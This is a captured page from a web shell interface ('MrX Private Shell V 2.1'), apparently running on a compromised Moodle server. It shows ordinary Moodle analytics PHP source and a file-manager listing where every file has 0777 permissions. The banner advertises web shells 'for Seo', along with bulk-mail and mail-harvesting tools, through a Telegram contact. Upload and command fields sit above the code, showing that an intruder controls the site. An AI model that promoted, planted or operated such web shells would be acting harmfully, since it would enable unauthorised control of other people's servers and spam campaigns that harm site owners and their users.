__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Moodle user analysable
 *
 * @package   core_analytics
 * @copyright 2019 David Monllao {@link http://www.davidmonllao.com}
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_analytics;

defined('MOODLE_INTERNAL') || die();

/**
 * Moodle user analysable
 *
 * @package   core_analytics
 * @copyright 2019 David Monllao {@link http://www.davidmonllao.com}
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class user implements \core_analytics\analysable {

    /**
     * @var bool Has this user data been already loaded.
     */
    protected $loaded = false;

    /**
     * @var int $cachedid self::$cachedinstance analysable id.
     */
    protected static $cachedid = 0;

    /**
     * @var \core_analytics\user $cachedinstance
     */
    protected static $cachedinstance = null;

    /**
     * User object
     *
     * @var \stdClass
     */
    protected $user = null;

    /**
     * The user context.
     *
     * @var \context_user
     */
    protected $usercontext = null;

    /** @var int Store current Unix timestamp. */
    protected int $now = 0;

    /**
     * Constructor.
     *
     * Use self::instance() instead to get cached copies of the class. Instances obtained
     * through this constructor will not be cached.
     *
     * @param int|\stdClass $user User id
     * @param \context|null $context
     * @return void
     */
    public function __construct($user, ?\context $context = null) {

        if (is_scalar($user)) {
            $this->user = new \stdClass();
            $this->user->id = $user;
        } else {
            $this->user = $user;
        }

        if (!is_null($context)) {
            $this->usercontext = $context;
        }
    }

    /**
     * Returns an analytics user instance.
     *
     * Lazy load of analysable data.
     *
     * @param int|\stdClass $user User object or user id
     * @param \context|null $context
     * @return \core_analytics\user
     */
    public static function instance($user, ?\context $context = null) {

        $userid = $user;
        if (!is_scalar($userid)) {
            $userid = $user->id;
        }

        if (self::$cachedid === $userid) {
            return self::$cachedinstance;
        }

        $cachedinstance = new \core_analytics\user($user, $context);
        self::$cachedinstance = $cachedinstance;
        self::$cachedid = (int)$userid;
        return self::$cachedinstance;
    }

    /**
     * get_id
     *
     * @return int
     */
    public function get_id() {
        return $this->user->id;
    }

    /**
     * Loads the analytics user object.
     *
     * @return void
     */
    protected function load() {

        // The instance constructor could be already loaded with the full user object. Using email
        // because it is a required user field.
        if (empty($this->user->email)) {
            $this->user = \core_user::get_user($this->user->id);
        }

        $this->usercontext = $this->get_context();

        $this->now = time();

        // Flag the instance as loaded.
        $this->loaded = true;
    }

    /**
     * The user full name.
     *
     * @return string
     */
    public function get_name() {

        if (!$this->loaded) {
            $this->load();
        }
        return fullname($this->user);
    }

    /**
     * get_context
     *
     * @return \context
     */
    public function get_context() {
        if ($this->usercontext === null) {
            $this->usercontext = \context_user::instance($this->user->id);
        }
        return $this->usercontext;
    }

    /**
     * Get the start timestamp.
     *
     * @return int
     */
    public function get_start() {

        if (!$this->loaded) {
            $this->load();
        }
        return $this->user->timecreated;
    }

    /**
     * Get the end timestamp.
     *
     * @return int
     */
    public function get_end() {
        return self::MAX_TIME;
    }

    /**
     * Returns a user plain object.
     *
     * @return \stdClass
     */
    public function get_user_data() {

        if (!$this->loaded) {
            $this->load();
        }

        return $this->user;
    }
}

Filemanager

Name Type Size Permission Actions
local Folder 0777
privacy Folder 0777
action.php File 3.46 KB 0777
admin_setting_predictor.php File 2.55 KB 0777
analysable.php File 1.62 KB 0777
analysis.php File 37.08 KB 0777
bulk_action.php File 2.55 KB 0777
calculable.php File 10.32 KB 0777
calculation_info.php File 6.44 KB 0777
classifier.php File 2.26 KB 0777
course.php File 17.78 KB 0777
dataset_manager.php File 14.28 KB 0777
default_bulk_actions.php File 4.29 KB 0777
insights_generator.php File 9.79 KB 0777
manager.php File 37.46 KB 0777
model.php File 71.19 KB 0777
model_config.php File 11 KB 0777
packable.php File 2 KB 0777
prediction.php File 7.59 KB 0777
prediction_action.php File 3.43 KB 0777
predictor.php File 2.62 KB 0777
regressor.php File 2.26 KB 0777
requirements_exception.php File 1.22 KB 0777
site.php File 2.47 KB 0777
stats.php File 2.38 KB 0777
user.php File 4.81 KB 0777
Filemanager